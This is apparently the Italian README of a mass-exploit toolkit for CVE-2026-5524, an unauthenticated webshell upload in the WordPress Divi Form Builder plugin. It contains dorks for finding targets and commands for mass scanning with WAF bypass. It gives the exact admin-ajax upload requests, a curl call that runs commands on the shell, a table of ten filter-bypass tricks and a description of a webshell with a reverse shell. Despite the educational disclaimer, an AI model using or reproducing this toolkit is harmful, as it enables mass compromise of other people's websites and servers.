
Toolkit Python di mass-exploit per CVE-2026-5524, un RCE tramite upload di file non autenticato nel plugin WordPress Divi Form Builder, con upload di webshell ed esecuzione di comandi.
| Campo | Valore |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critico) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affetto | Divi Form Builder <= 5.1.8 |
| Corretto | 5.1.9 |
| Tipo | Upload di file non autenticato con RCE |
| Ricercatore | 0xd4rk5id3 - EnvoraSec |
Il plugin Divi Form Builder per WordPress contiene una vulnerabilità di upload arbitrario di file non autenticato. Il gestore do_image_upload() passa il parametro POST acceptFileTypes, controllato dall'utente, direttamente in un'espressione regolare utilizzata per validare le estensioni dei file. Fornendo un valore come phtml, un attaccante può aggirare la regola .htaccess del plugin che blocca solo l'estensione .php e caricare una webshell con un'estensione eseguibile da PHP (.phtml, .phar, .php5, .php7 e simili).
Una volta che il file si trova in /wp-content/uploads/de_fb_uploads/, Apache lo esegue come PHP, concedendo all'attaccante l'esecuzione di codice in remoto con i privilegi dell'utente del web server.
Il problema è risolto in Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisiti: Python 3.8 o superiore su Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Per target dietro un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configurazioni Apache o nginx rafforzate.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Dopo un upload riuscito, lo script può eseguire immediatamente un comando o aprire una shell interattiva.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descrizione |
|---|---|
-u URL | URL del target singolo |
-l FILE | File contenente la lista dei target, un URL per riga |
-t N | Numero di thread concorrenti (predefinito 10) |
--timeout N | Timeout della richiesta in secondi (predefinito 15) |
-o FILE | Salva i risultati in un file di output JSONL |
--proxy URL | Instrada il traffico attraverso un proxy HTTP |
--nonce HASH | Usa un nonce fornito manualmente, salta il rilevamento automatico |
--ext EXT | Forza una singola estensione invece della lista completa di bypass |
--shell | Apre una shell RCE interattiva in caso di successo (solo target singolo) |
--cmd CMD | Esegue un comando sul target, poi esce |
--shell-file FILE | Carica un payload shell personalizzato invece di quello integrato |
--no-verify | Salta la fase di verifica RCE post-upload |
--strict-verify | Conferma che l'URL della shell restituisca HTTP 200 per filtrare i falsi positivi |
--user-ini | Carica un dropper .user.ini per ambienti PHP-FPM |
--htaccess | Carica un riabilitatore .htaccess per ambienti Apache |
--aggressive | Abilita ogni tecnica di bypass disponibile |
--null-byte | Include tentativi con null byte e doppia estensione |
--path-traversal | Prova a caricare nelle sottodirectory /uploads/YYYY/MM/ |
--debug | Stampa le risposte HTTP grezze per la diagnosi |
Il gestore vulnerabile costruisce un'espressione regolare dall'input dell'utente senza sanificazione.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Inviando acceptFileTypes=phtml, l'espressione regolare risultante /\.(phtml)$/i corrisponde ai nomi di file che terminano con .phtml, anche se il file .htaccess del plugin blocca solo l'estensione .php. Apache esegue quindi il file caricato come PHP, producendo l'esecuzione di codice in remoto.
Scansiona una pagina che incorpora un form di Divi Form Builder (/, /contact, /quote, ecc.). Aggiungi un parametro ?nocache=<random> per aggirare Varnish, WP Rocket e altre cache di pagina che altrimenti servirebbero un nonce obsoleto.
Estrai il valore fb_nonce dall'oggetto JavaScript localizzato:
de_fb_obj = {"fb_nonce":"<10 caratteri hex>", ...}
Invia un POST multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leggi l'URL del file dalla risposta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Richiedi la shell con un comando codificato in base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Tecnica | Target |
|---|---|---|
| 1 | Estensioni PHP alternative .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regola .htaccess del plugin che blocca solo .php |
| 2 | Variazione di maiuscole/minuscole .PHTML, .PHP5, .PhTmL | Firme WAF sensibili al caso (NinjaFirewall) |
| 3 | Doppia estensione .phtml.jpg, .php.jpg | Particolarità di negoziazione del contenuto di Apache mod_mime |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | Vecchie versioni di PHP (precedenti alla 5.3.4) e alcuni parser |
| 5 | Spazio o punto finale .php , .php. | Windows IIS e versioni più vecchie di Apache |
| 6 | Spoofing del Content-Type application/octet-stream | WAF che si basano sull'header Content-Type multipart |
| 7 | Carica un vero .htaccess che riabilita PHP per .gif, .png, .jpg, .txt, .html, ecc. | Server Apache con AllowOverride All |
| 8 | Carica un .user.ini con auto_prepend_file | Ambienti PHP-FPM |
| 9 | Iniezione del nome file tramite manipolazione del boundary multipart | Proxy e WAF che ri-analizzano il corpo della richiesta |
| 10 | Path traversal ../shell.phtml nel nome del file | Restrizioni della directory del plugin |
Lo script prova ogni tecnica in ordine di priorità e, quando --aggressive è impostato, tenta ognuna anche dopo che il primo upload riporta successo.
| Componente | Tecnologia |
|---|---|
| Linguaggio | Python 3.8+ |
| Client HTTP | requests |
| Gestione TLS | urllib3 in modalità insicura per certificati self-signed |
| Concorrenza | concurrent.futures.ThreadPoolExecutor per la scansione di massa |
| Parsing | re per l'estrazione del nonce, json per la gestione delle risposte |
| Codifica | base64 per il parametro del comando della webshell |
| CLI | argparse con 19 flag configurabili |
| Componente | Tecnologia |
|---|---|
| Linguaggio | PHP 7.0+ |
| Funzioni di esecuzione | system(), shell_exec(), proc_open(), passthru(), popen() |
| Front end | Form HTML semplice, nessun framework JavaScript |
| Funzionalità | File browser, esecuzione di comandi, accesso al database, reverse shell, auto-installazione di .htaccess e .user.ini |
| Dimensione | Circa 16 KB |
| Livelli di bypass | Sei percorsi di esecuzione indipendenti più payload codificati |
cve-2026-5524/
|-- CVE-2026-5524.py Script di exploit principale
|-- bypass.phtml Webshell PHP multi-livello da 16 KB
|-- htaccess_enable.phtml Dropper che scrive un .htaccess riabilitante
|-- user_ini.phtml Dropper che scrive un .user.ini per PHP-FPM
|-- targets.txt Lista di target di esempio
|-- pwned.jsonl Generato dal flag -o durante le scansioni di massa
|-- requirements.txt Dipendenze Python
`-- README.md Questo documento
+--------------------------------------------------+
| 1. Ricognizione |
| GET /?nocache=<random> |
| Estrai fb_nonce da de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Prepara l'exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Il server accetta e memorizza il file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Esegui |
| GET shell.phtml?x=base64(command) |
| Esecuzione di codice in remoto ottenuta |
+--------------------------------------------------+
Questo tool è fornito per scopi educativi e per l'uso durante attività di penetration testing autorizzate. Esempi di uso accettabile includono:
L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso scritto di test è illegale in praticamente ogni giurisdizione ed è severamente proibito. L'autore non approva né si assume la responsabilità per l'uso improprio di questo codice.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Ho il permesso e sono autorizzato a eseguire questo pentest.)
Le leggi di probabile rilevanza includono la UU ITE indonesiana, il Computer Fraud and Abuse Act degli Stati Uniti, la Convenzione sulla criminalità informatica dell'Unione Europea e legislazioni equivalenti altrove. In caso di dubbio, ottieni prima l'autorizzazione scritta.
Solo per uso educativo. Consulta la sezione disclaimer per i termini di utilizzo completi.